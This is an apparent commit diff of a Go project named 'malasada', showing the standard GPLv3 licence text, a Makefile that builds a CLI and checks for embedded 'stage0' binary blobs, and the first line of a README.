exact copy. The resulting work is called a "modified version" of the
|
||||||
|
earlier work or a work "based on" the earlier work.
|
||||||
|
|
||||||
|
A "covered work" means either the unmodified Program or a work based
|
||||||
|
on the Program.
|
||||||
|
|
||||||
|
To "propagate" a work means to do anything with it that, without
|
||||||
|
permission, would make you directly or secondarily liable for
|
||||||
|
infringement under applicable copyright law, except executing it on a
|
||||||
|
computer or modifying a private copy. Propagation includes copying,
|
||||||
|
distribution (with or without modification), making available to the
|
||||||
|
public, and in some countries other activities as well.
|
||||||
|
|
||||||
|
To "convey" a work means any kind of propagation that enables other
|
||||||
|
parties to make or receive copies. Mere interaction with a user through
|
||||||
|
a computer network, with no transfer of a copy, is not conveying.
|
||||||
|
|
||||||
|
An interactive user interface displays "Appropriate Legal Notices"
|
||||||
|
to the extent that it includes a convenient and prominently visible
|
||||||
|
feature that (1) displays an appropriate copyright notice, and (2)
|
||||||
|
tells the user that there is no warranty for the work (except to the
|
||||||
|
extent that warranties are provided), that licensees may convey the
|
||||||
|
work under this License, and how to view a copy of this License. If
|
||||||
|
the interface presents a list of user commands or options, such as a
|
||||||
|
menu, a prominent item in the list meets this criterion.
|
||||||
|
|
||||||
|
1. Source Code.
|
||||||
|
|
||||||
|
The "source code" for a work means the preferred form of the work
|
||||||
|
for making modifications to it. "Object code" means any non-source
|
||||||
|
form of a work.
|
||||||
|
|
||||||
|
A "Standard Interface" means an interface that either is an official
|
||||||
|
standard defined by a recognized standards body, or, in the case of
|
||||||
|
interfaces specified for a particular programming language, one that
|
||||||
|
is widely used among developers working in that language.
|
||||||
|
|
||||||
|
The "System Libraries" of an executable work include anything, other
|
||||||
|
than the work as a whole, that (a) is included in the normal form of
|
||||||
|
packaging a Major Component, but which is not part of that Major
|
||||||
|
Component, and (b) serves only to enable use of the work with that
|
||||||
|
Major Component, or to implement a Standard Interface for which an
|
||||||
|
implementation is available to the public in source code form. A
|
||||||
|
"Major Component", in this context, means a major essential component
|
||||||
|
(kernel, window system, and so on) of the specific operating system
|
||||||
|
(if any) on which the executable work runs, or a compiler used to
|
||||||
|
produce the work, or an object code interpreter used to run it.
|
||||||
|
|
||||||
|
The "Corresponding Source" for a work in object code form means all
|
||||||
|
the source code needed to generate, install, and (for an executable
|
||||||
|
work) run the object code and to modify the work, including scripts to
|
||||||
|
control those activities. However, it does not include the work's
|
||||||
|
System Libraries, or general-purpose tools or generally available free
|
||||||
|
programs which are used unmodified in performing those activities but
|
||||||
|
which are not part of the work. For example, Corresponding Source
|
||||||
|
includes interface definition files associated with source files for
|
||||||
|
the work, and the source code for shared libraries and dynamically
|
||||||
|
linked subprograms that the work is specifically designed to require,
|
||||||
|
such as by intimate data communication or control flow between those
|
||||||
|
subprograms and other parts of the work.
|
||||||
|
|
||||||
|
The Corresponding Source need not include anything that users
|
||||||
|
can regenerate automatically from other parts of the Corresponding
|
||||||
|
Source.
|
||||||
|
|
||||||
|
The Corresponding Source for a work in source code form is that
|
||||||
|
same work.
|
||||||
|
|
||||||
|
2. Basic Permissions.
|
||||||
|
|
||||||
|
All rights granted under this License are granted for the term of
|
||||||
|
copyright on the Program, and are irrevocable provided the stated
|
||||||
|
conditions are met. This License explicitly affirms your unlimited
|
||||||
|
permission to run the unmodified Program. The output from running a
|
||||||
|
covered work is covered by this License only if the output, given its
|
||||||
|
content, constitutes a covered work. This License acknowledges your
|
||||||
|
rights of fair use or other equivalent, as provided by copyright law.
|
||||||
|
|
||||||
|
You may make, run and propagate covered works that you do not
|
||||||
|
convey, without conditions so long as your license otherwise remains
|
||||||
|
in force. You may convey covered works to others for the sole purpose
|
||||||
|
of having them make modifications exclusively for you, or provide you
|
||||||
|
with facilities for running those works, provided that you comply with
|
||||||
|
the terms of this License in conveying all material for which you do
|
||||||
|
not control copyright. Those thus making or running the covered works
|
||||||
|
for you must do so exclusively on your behalf, under your direction
|
||||||
|
and control, on terms that prohibit them from making any copies of
|
||||||
|
your copyrighted material outside their relationship with you.
|
||||||
|
|
||||||
|
Conveying under any other circumstances is permitted solely under
|
||||||
|
the conditions stated below. Sublicensing is not allowed; section 10
|
||||||
|
makes it unnecessary.
|
||||||
|
|
||||||
|
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||||
|
|
||||||
|
No covered work shall be deemed part of an effective technological
|
||||||
|
measure under any applicable law fulfilling obligations under article
|
||||||
|
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||||
|
similar laws prohibiting or restricting circumvention of such
|
||||||
|
measures.
|
||||||
|
|
||||||
|
When you convey a covered work, you waive any legal power to forbid
|
||||||
|
circumvention of technological measures to the extent such circumvention
|
||||||
|
is effected by exercising rights under this License with respect to
|
||||||
|
the covered work, and you disclaim any intention to limit operation or
|
||||||
|
modification of the work as a means of enforcing, against the work's
|
||||||
|
users, your or third parties' legal rights to forbid circumvention of
|
||||||
|
technological measures.
|
||||||
|
|
||||||
|
4. Conveying Verbatim Copies.
|
||||||
|
|
||||||
|
You may convey verbatim copies of the Program's source code as you
|
||||||
|
receive it, in any medium, provided that you conspicuously and
|
||||||
|
appropriately publish on each copy an appropriate copyright notice;
|
||||||
|
keep intact all notices stating that this License and any
|
||||||
|
non-permissive terms added in accord with section 7 apply to the code;
|
||||||
|
keep intact all notices of the absence of any warranty; and give all
|
||||||
|
recipients a copy of this License along with the Program.
|
||||||
|
|
||||||
|
You may charge any price or no price for each copy that you convey,
|
||||||
|
and you may offer support or warranty protection for a fee.
|
||||||
|
|
||||||
|
5. Conveying Modified Source Versions.
|
||||||
|
|
||||||
|
You may convey a work based on the Program, or the modifications to
|
||||||
|
produce it from the Program, in the form of source code under the
|
||||||
|
terms of section 4, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) The work must carry prominent notices stating that you modified
|
||||||
|
it, and giving a relevant date.
|
||||||
|
|
||||||
|
b) The work must carry prominent notices stating that it is
|
||||||
|
released under this License and any conditions added under section
|
||||||
|
7. This requirement modifies the requirement in section 4 to
|
||||||
|
"keep intact all notices".
|
||||||
|
|
||||||
|
c) You must license the entire work, as a whole, under this
|
||||||
|
License to anyone who comes into possession of a copy. This
|
||||||
|
License will therefore apply, along with any applicable section 7
|
||||||
|
additional terms, to the whole of the work, and all its parts,
|
||||||
|
regardless of how they are packaged. This License gives no
|
||||||
|
permission to license the work in any other way, but it does not
|
||||||
|
invalidate such permission if you have separately received it.
|
||||||
|
|
||||||
|
d) If the work has interactive user interfaces, each must display
|
||||||
|
Appropriate Legal Notices; however, if the Program has interactive
|
||||||
|
interfaces that do not display Appropriate Legal Notices, your
|
||||||
|
work need not make them do so.
|
||||||
|
|
||||||
|
A compilation of a covered work with other separate and independent
|
||||||
|
works, which are not by their nature extensions of the covered work,
|
||||||
|
and which are not combined with it such as to form a larger program,
|
||||||
|
in or on a volume of a storage or distribution medium, is called an
|
||||||
|
"aggregate" if the compilation and its resulting copyright are not
|
||||||
|
used to limit the access or legal rights of the compilation's users
|
||||||
|
beyond what the individual works permit. Inclusion of a covered work
|
||||||
|
in an aggregate does not cause this License to apply to the other
|
||||||
|
parts of the aggregate.
|
||||||
|
|
||||||
|
6. Conveying Non-Source Forms.
|
||||||
|
|
||||||
|
You may convey a covered work in object code form under the terms
|
||||||
|
of sections 4 and 5, provided that you also convey the
|
||||||
|
machine-readable Corresponding Source under the terms of this License,
|
||||||
|
in one of these ways:
|
||||||
|
|
||||||
|
a) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by the
|
||||||
|
Corresponding Source fixed on a durable physical medium
|
||||||
|
customarily used for software interchange.
|
||||||
|
|
||||||
|
b) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by a
|
||||||
|
written offer, valid for at least three years and valid for as
|
||||||
|
long as you offer spare parts or customer support for that product
|
||||||
|
model, to give anyone who possesses the object code either (1) a
|
||||||
|
copy of the Corresponding Source for all the software in the
|
||||||
|
product that is covered by this License, on a durable physical
|
||||||
|
medium customarily used for software interchange, for a price no
|
||||||
|
more than your reasonable cost of physically performing this
|
||||||
|
conveying of source, or (2) access to copy the
|
||||||
|
Corresponding Source from a network server at no charge.
|
||||||
|
|
||||||
|
c) Convey individual copies of the object code with a copy of the
|
||||||
|
written offer to provide the Corresponding Source. This
|
||||||
|
alternative is allowed only occasionally and noncommercially, and
|
||||||
|
only if you received the object code with such an offer, in accord
|
||||||
|
with subsection 6b.
|
||||||
|
|
||||||
|
d) Convey the object code by offering access from a designated
|
||||||
|
place (gratis or for a charge), and offer equivalent access to the
|
||||||
|
Corresponding Source in the same way through the same place at no
|
||||||
|
further charge. You need not require recipients to copy the
|
||||||
|
Corresponding Source along with the object code. If the place to
|
||||||
|
copy the object code is a network server, the Corresponding Source
|
||||||
|
may be on a different server (operated by you or a third party)
|
||||||
|
that supports equivalent copying facilities, provided you maintain
|
||||||
|
clear directions next to the object code saying where to find the
|
||||||
|
Corresponding Source. Regardless of what server hosts the
|
||||||
|
Corresponding Source, you remain obligated to ensure that it is
|
||||||
|
available for as long as needed to satisfy these requirements.
|
||||||
|
|
||||||
|
e) Convey the object code using peer-to-peer transmission, provided
|
||||||
|
you inform other peers where the object code and Corresponding
|
||||||
|
Source of the work are being offered to the general public at no
|
||||||
|
charge under subsection 6d.
|
||||||
|
|
||||||
|
A separable portion of the object code, whose source code is excluded
|
||||||
|
from the Corresponding Source as a System Library, need not be
|
||||||
|
included in conveying the object code work.
|
||||||
|
|
||||||
|
A "User Product" is either (1) a "consumer product", which means any
|
||||||
|
tangible personal property which is normally used for personal, family,
|
||||||
|
or household purposes, or (2) anything designed or sold for incorporation
|
||||||
|
into a dwelling. In determining whether a product is a consumer product,
|
||||||
|
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||||
|
product received by a particular user, "normally used" refers to a
|
||||||
|
typical or common use of that class of product, regardless of the status
|
||||||
|
of the particular user or of the way in which the particular user
|
||||||
|
actually uses, or expects or is expected to use, the product. A product
|
||||||
|
is a consumer product regardless of whether the product has substantial
|
||||||
|
commercial, industrial or non-consumer uses, unless such uses represent
|
||||||
|
the only significant mode of use of the product.
|
||||||
|
|
||||||
|
"Installation Information" for a User Product means any methods,
|
||||||
|
procedures, authorization keys, or other information required to install
|
||||||
|
and execute modified versions of a covered work in that User Product from
|
||||||
|
a modified version of its Corresponding Source. The information must
|
||||||
|
suffice to ensure that the continued functioning of the modified object
|
||||||
|
code is in no case prevented or interfered with solely because
|
||||||
|
modification has been made.
|
||||||
|
|
||||||
|
If you convey an object code work under this section in, or with, or
|
||||||
|
specifically for use in, a User Product, and the conveying occurs as
|
||||||
|
part of a transaction in which the right of possession and use of the
|
||||||
|
User Product is transferred to the recipient in perpetuity or for a
|
||||||
|
fixed term (regardless of how the transaction is characterized), the
|
||||||
|
Corresponding Source conveyed under this section must be accompanied
|
||||||
|
by the Installation Information. But this requirement does not apply
|
||||||
|
if neither you nor any third party retains the ability to install
|
||||||
|
modified object code on the User Product (for example, the work has
|
||||||
|
been installed in ROM).
|
||||||
|
|
||||||
|
The requirement to provide Installation Information does not include a
|
||||||
|
requirement to continue to provide support service, warranty, or updates
|
||||||
|
for a work that has been modified or installed by the recipient, or for
|
||||||
|
the User Product in which it has been modified or installed. Access to a
|
||||||
|
network may be denied when the modification itself materially and
|
||||||
|
adversely affects the operation of the network or violates the rules and
|
||||||
|
protocols for communication across the network.
|
||||||
|
|
||||||
|
Corresponding Source conveyed, and Installation Information provided,
|
||||||
|
in accord with this section must be in a format that is publicly
|
||||||
|
documented (and with an implementation available to the public in
|
||||||
|
source code form), and must require no special password or key for
|
||||||
|
unpacking, reading or copying.
|
||||||
|
|
||||||
|
7. Additional Terms.
|
||||||
|
|
||||||
|
"Additional permissions" are terms that supplement the terms of this
|
||||||
|
License by making exceptions from one or more of its conditions.
|
||||||
|
Additional permissions that are applicable to the entire Program shall
|
||||||
|
be treated as though they were included in this License, to the extent
|
||||||
|
that they are valid under applicable law. If additional permissions
|
||||||
|
apply only to part of the Program, that part may be used separately
|
||||||
|
under those permissions, but the entire Program remains governed by
|
||||||
|
this License without regard to the additional permissions.
|
||||||
|
|
||||||
|
When you convey a copy of a covered work, you may at your option
|
||||||
|
remove any additional permissions from that copy, or from any part of
|
||||||
|
it. (Additional permissions may be written to require their own
|
||||||
|
removal in certain cases when you modify the work.) You may place
|
||||||
|
additional permissions on material, added by you to a covered work,
|
||||||
|
for which you have or can give appropriate copyright permission.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, for material you
|
||||||
|
add to a covered work, you may (if authorized by the copyright holders of
|
||||||
|
that material) supplement the terms of this License with terms:
|
||||||
|
|
||||||
|
a) Disclaiming warranty or limiting liability differently from the
|
||||||
|
terms of sections 15 and 16 of this License; or
|
||||||
|
|
||||||
|
b) Requiring preservation of specified reasonable legal notices or
|
||||||
|
author attributions in that material or in the Appropriate Legal
|
||||||
|
Notices displayed by works containing it; or
|
||||||
|
|
||||||
|
c) Prohibiting misrepresentation of the origin of that material, or
|
||||||
|
requiring that modified versions of such material be marked in
|
||||||
|
reasonable ways as different from the original version; or
|
||||||
|
|
||||||
|
d) Limiting the use for publicity purposes of names of licensors or
|
||||||
|
authors of the material; or
|
||||||
|
|
||||||
|
e) Declining to grant rights under trademark law for use of some
|
||||||
|
trade names, trademarks, or service marks; or
|
||||||
|
|
||||||
|
f) Requiring indemnification of licensors and authors of that
|
||||||
|
material by anyone who conveys the material (or modified versions of
|
||||||
|
it) with contractual assumptions of liability to the recipient, for
|
||||||
|
any liability that these contractual assumptions directly impose on
|
||||||
|
those licensors and authors.
|
||||||
|
|
||||||
|
All other non-permissive additional terms are considered "further
|
||||||
|
restrictions" within the meaning of section 10. If the Program as you
|
||||||
|
received it, or any part of it, contains a notice stating that it is
|
||||||
|
governed by this License along with a term that is a further
|
||||||
|
restriction, you may remove that term. If a license document contains
|
||||||
|
a further restriction but permits relicensing or conveying under this
|
||||||
|
License, you may add to a covered work material governed by the terms
|
||||||
|
of that license document, provided that the further restriction does
|
||||||
|
not survive such relicensing or conveying.
|
||||||
|
|
||||||
|
If you add terms to a covered work in accord with this section, you
|
||||||
|
must place, in the relevant source files, a statement of the
|
||||||
|
additional terms that apply to those files, or a notice indicating
|
||||||
|
where to find the applicable terms.
|
||||||
|
|
||||||
|
Additional terms, permissive or non-permissive, may be stated in the
|
||||||
|
form of a separately written license, or stated as exceptions;
|
||||||
|
the above requirements apply either way.
|
||||||
|
|
||||||
|
8. Termination.
|
||||||
|
|
||||||
|
You may not propagate or modify a covered work except as expressly
|
||||||
|
provided under this License. Any attempt otherwise to propagate or
|
||||||
|
modify it is void, and will automatically terminate your rights under
|
||||||
|
this License (including any patent licenses granted under the third
|
||||||
|
paragraph of section 11).
|
||||||
|
|
||||||
|
However, if you cease all violation of this License, then your
|
||||||
|
license from a particular copyright holder is reinstated (a)
|
||||||
|
provisionally, unless and until the copyright holder explicitly and
|
||||||
|
finally terminates your license, and (b) permanently, if the copyright
|
||||||
|
holder fails to notify you of the violation by some reasonable means
|
||||||
|
prior to 60 days after the cessation.
|
||||||
|
|
||||||
|
Moreover, your license from a particular copyright holder is
|
||||||
|
reinstated permanently if the copyright holder notifies you of the
|
||||||
|
violation by some reasonable means, this is the first time you have
|
||||||
|
received notice of violation of this License (for any work) from that
|
||||||
|
copyright holder, and you cure the violation prior to 30 days after
|
||||||
|
your receipt of the notice.
|
||||||
|
|
||||||
|
Termination of your rights under this section does not terminate the
|
||||||
|
licenses of parties who have received copies or rights from you under
|
||||||
|
this License. If your rights have been terminated and not permanently
|
||||||
|
reinstated, you do not qualify to receive new licenses for the same
|
||||||
|
material under section 10.
|
||||||
|
|
||||||
|
9. Acceptance Not Required for Having Copies.
|
||||||
|
|
||||||
|
You are not required to accept this License in order to receive or
|
||||||
|
run a copy of the Program. Ancillary propagation of a covered work
|
||||||
|
occurring solely as a consequence of using peer-to-peer transmission
|
||||||
|
to receive a copy likewise does not require acceptance. However,
|
||||||
|
nothing other than this License grants you permission to propagate or
|
||||||
|
modify any covered work. These actions infringe copyright if you do
|
||||||
|
not accept this License. Therefore, by modifying or propagating a
|
||||||
|
covered work, you indicate your acceptance of this License to do so.
|
||||||
|
|
||||||
|
10. Automatic Licensing of Downstream Recipients.
|
||||||
|
|
||||||
|
Each time you convey a covered work, the recipient automatically
|
||||||
|
receives a license from the original licensors, to run, modify and
|
||||||
|
propagate that work, subject to this License. You are not responsible
|
||||||
|
for enforcing compliance by third parties with this License.
|
||||||
|
|
||||||
|
An "entity transaction" is a transaction transferring control of an
|
||||||
|
organization, or substantially all assets of one, or subdividing an
|
||||||
|
organization, or merging organizations. If propagation of a covered
|
||||||
|
work results from an entity transaction, each party to that
|
||||||
|
transaction who receives a copy of the work also receives whatever
|
||||||
|
licenses to the work the party's predecessor in interest had or could
|
||||||
|
give under the previous paragraph, plus a right to possession of the
|
||||||
|
Corresponding Source of the work from the predecessor in interest, if
|
||||||
|
the predecessor has it or can get it with reasonable efforts.
|
||||||
|
|
||||||
|
You may not impose any further restrictions on the exercise of the
|
||||||
|
rights granted or affirmed under this License. For example, you may
|
||||||
|
not impose a license fee, royalty, or other charge for exercise of
|
||||||
|
rights granted under this License, and you may not initiate litigation
|
||||||
|
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||||
|
any patent claim is infringed by making, using, selling, offering for
|
||||||
|
sale, or importing the Program or any portion of it.
|
||||||
|
|
||||||
|
11. Patents.
|
||||||
|
|
||||||
|
A "contributor" is a copyright holder who authorizes use under this
|
||||||
|
License of the Program or a work on which the Program is based. The
|
||||||
|
work thus licensed is called the contributor's "contributor version".
|
||||||
|
|
||||||
|
A contributor's "essential patent claims" are all patent claims
|
||||||
|
owned or controlled by the contributor, whether already acquired or
|
||||||
|
hereafter acquired, that would be infringed by some manner, permitted
|
||||||
|
by this License, of making, using, or selling its contributor version,
|
||||||
|
but do not include claims that would be infringed only as a
|
||||||
|
consequence of further modification of the contributor version. For
|
||||||
|
purposes of this definition, "control" includes the right to grant
|
||||||
|
patent sublicenses in a manner consistent with the requirements of
|
||||||
|
this License.
|
||||||
|
|
||||||
|
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||||
|
patent license under the contributor's essential patent claims, to
|
||||||
|
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||||
|
propagate the contents of its contributor version.
|
||||||
|
|
||||||
|
In the following three paragraphs, a "patent license" is any express
|
||||||
|
agreement or commitment, however denominated, not to enforce a patent
|
||||||
|
(such as an express permission to practice a patent or covenant not to
|
||||||
|
sue for patent infringement). To "grant" such a patent license to a
|
||||||
|
party means to make such an agreement or commitment not to enforce a
|
||||||
|
patent against the party.
|
||||||
|
|
||||||
|
If you convey a covered work, knowingly relying on a patent license,
|
||||||
|
and the Corresponding Source of the work is not available for anyone
|
||||||
|
to copy, free of charge and under the terms of this License, through a
|
||||||
|
publicly available network server or other readily accessible means,
|
||||||
|
then you must either (1) cause the Corresponding Source to be so
|
||||||
|
available, or (2) arrange to deprive yourself of the benefit of the
|
||||||
|
patent license for this particular work, or (3) arrange, in a manner
|
||||||
|
consistent with the requirements of this License, to extend the patent
|
||||||
|
license to downstream recipients. "Knowingly relying" means you have
|
||||||
|
actual knowledge that, but for the patent license, your conveying the
|
||||||
|
covered work in a country, or your recipient's use of the covered work
|
||||||
|
in a country, would infringe one or more identifiable patents in that
|
||||||
|
country that you have reason to believe are valid.
|
||||||
|
|
||||||
|
If, pursuant to or in connection with a single transaction or
|
||||||
|
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||||
|
covered work, and grant a patent license to some of the parties
|
||||||
|
receiving the covered work authorizing them to use, propagate, modify
|
||||||
|
or convey a specific copy of the covered work, then the patent license
|
||||||
|
you grant is automatically extended to all recipients of the covered
|
||||||
|
work and works based on it.
|
||||||
|
|
||||||
|
A patent license is "discriminatory" if it does not include within
|
||||||
|
the scope of its coverage, prohibits the exercise of, or is
|
||||||
|
conditioned on the non-exercise of one or more of the rights that are
|
||||||
|
specifically granted under this License. You may not convey a covered
|
||||||
|
work if you are a party to an arrangement with a third party that is
|
||||||
|
in the business of distributing software, under which you make payment
|
||||||
|
to the third party based on the extent of your activity of conveying
|
||||||
|
the work, and under which the third party grants, to any of the
|
||||||
|
parties who would receive the covered work from you, a discriminatory
|
||||||
|
patent license (a) in connection with copies of the covered work
|
||||||
|
conveyed by you (or copies made from those copies), or (b) primarily
|
||||||
|
for and in connection with specific products or compilations that
|
||||||
|
contain the covered work, unless you entered into that arrangement,
|
||||||
|
or that patent license was granted, prior to 28 March 2007.
|
||||||
|
|
||||||
|
Nothing in this License shall be construed as excluding or limiting
|
||||||
|
any implied license or other defenses to infringement that may
|
||||||
|
otherwise be available to you under applicable patent law.
|
||||||
|
|
||||||
|
12. No Surrender of Others' Freedom.
|
||||||
|
|
||||||
|
If conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot convey a
|
||||||
|
covered work so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you may
|
||||||
|
not convey it at all. For example, if you agree to terms that obligate you
|
||||||
|
to collect a royalty for further conveying from those to whom you convey
|
||||||
|
the Program, the only way you could satisfy both those terms and this
|
||||||
|
License would be to refrain entirely from conveying the Program.
|
||||||
|
|
||||||
|
13. Use with the GNU Affero General Public License.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, you have
|
||||||
|
permission to link or combine any covered work with a work licensed
|
||||||
|
under version 3 of the GNU Affero General Public License into a single
|
||||||
|
combined work, and to convey the resulting work. The terms of this
|
||||||
|
License will continue to apply to the part which is the covered work,
|
||||||
|
but the special requirements of the GNU Affero General Public License,
|
||||||
|
section 13, concerning interaction through a network will apply to the
|
||||||
|
combination as such.
|
||||||
|
|
||||||
|
14. Revised Versions of this License.
|
||||||
|
|
||||||
|
The Free Software Foundation may publish revised and/or new versions of
|
||||||
|
the GNU General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the
|
||||||
|
Program specifies that a certain numbered version of the GNU General
|
||||||
|
Public License "or any later version" applies to it, you have the
|
||||||
|
option of following the terms and conditions either of that numbered
|
||||||
|
version or of any later version published by the Free Software
|
||||||
|
Foundation. If the Program does not specify a version number of the
|
||||||
|
GNU General Public License, you may choose any version ever published
|
||||||
|
by the Free Software Foundation.
|
||||||
|
|
||||||
|
If the Program specifies that a proxy can decide which future
|
||||||
|
versions of the GNU General Public License can be used, that proxy's
|
||||||
|
public statement of acceptance of a version permanently authorizes you
|
||||||
|
to choose that version for the Program.
|
||||||
|
|
||||||
|
Later license versions may give you additional or different
|
||||||
|
permissions. However, no additional obligations are imposed on any
|
||||||
|
author or copyright holder as a result of your choosing to follow a
|
||||||
|
later version.
|
||||||
|
|
||||||
|
15. Disclaimer of Warranty.
|
||||||
|
|
||||||
|
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||||
|
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||||
|
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||||
|
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||||
|
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||||
|
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||||
|
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
16. Limitation of Liability.
|
||||||
|
|
||||||
|
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||||
|
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||||
|
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||||
|
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||||
|
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||||
|
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||||
|
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||||
|
SUCH DAMAGES.
|
||||||
|
|
||||||
|
17. Interpretation of Sections 15 and 16.
|
||||||
|
|
||||||
|
If the disclaimer of warranty and limitation of liability provided
|
||||||
|
above cannot be given local legal effect according to their terms,
|
||||||
|
reviewing courts shall apply local law that most closely approximates
|
||||||
|
an absolute waiver of all civil liability in connection with the
|
||||||
|
Program, unless a warranty or assumption of liability accompanies a
|
||||||
|
copy of the Program in return for a fee.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
state the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
<one line to give the program's name and a brief idea of what it does.>
|
||||||
|
Copyright (C) <year> <name of author>
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program does terminal interaction, make it output a short
|
||||||
|
notice like this when it starts in an interactive mode:
|
||||||
|
|
||||||
|
<program> Copyright (C) <year> <name of author>
|
||||||
|
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, your program's commands
|
||||||
|
might be different; for a GUI interface, you would use an "about box".
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or school,
|
||||||
|
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||||
|
For more information on this, and how to apply and follow the GNU GPL, see
|
||||||
|
<https://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
The GNU General Public License does not permit incorporating your program
|
||||||
|
into proprietary programs. If your program is a subroutine library, you
|
||||||
|
may consider it more useful to permit linking proprietary applications with
|
||||||
|
the library. If this is what you want to do, use the GNU Lesser General
|
||||||
|
Public License instead of this License. But first, please read
|
||||||
|
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||||
+41
@@ -0,0 +1,41 @@
|
|||||||
|
GO ?= go
|
||||||
|
|
||||||
|
# The CLI does not use cgo; forcing this makes cross-compiles more reliable.
|
||||||
|
CGO_ENABLED ?= 0
|
||||||
|
|
||||||
|
EXE :=
|
||||||
|
ifeq ($(GOOS),windows)
|
||||||
|
EXE := .exe
|
||||||
|
endif
|
||||||
|
|
||||||
|
OUT ?= malasada$(EXE)
|
||||||
|
|
||||||
|
STAGE0_BINS := internal/stage0/stage0_linux_amd64.bin internal/stage0/stage0_linux_arm64.bin
|
||||||
|
|
||||||
|
.PHONY: all build test clean stage0 check-stage0
|
||||||
|
|
||||||
|
all: build
|
||||||
|
|
||||||
|
# Build the CLI for the current GOOS/GOARCH (or overridden values).
|
||||||
|
build: check-stage0
|
||||||
|
GOOS=$(GOOS) GOARCH=$(GOARCH) CGO_ENABLED=$(CGO_ENABLED) \
|
||||||
|
$(GO) build -trimpath -o $(OUT) ./cli
|
||||||
|
|
||||||
|
test: check-stage0
|
||||||
|
$(GO) test ./...
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f $(OUT)
|
||||||
|
|
||||||
|
# Force regeneration of the embedded stage0 blobs.
|
||||||
|
stage0:
|
||||||
|
$(GO) generate ./...
|
||||||
|
|
||||||
|
check-stage0:
|
||||||
|
@for f in $(STAGE0_BINS); do \
|
||||||
|
if [ ! -f "$$f" ]; then \
|
||||||
|
echo "Missing $$f"; \
|
||||||
|
echo "Run: make stage0"; \
|
||||||
|
exit 1; \
|
||||||
|
fi; \
|
||||||
|
done
|
||||||
+80
@@ -0,0 +1,80 @@
|
|||||||
|
# malasada
|
||||||
|
|
||||||
|
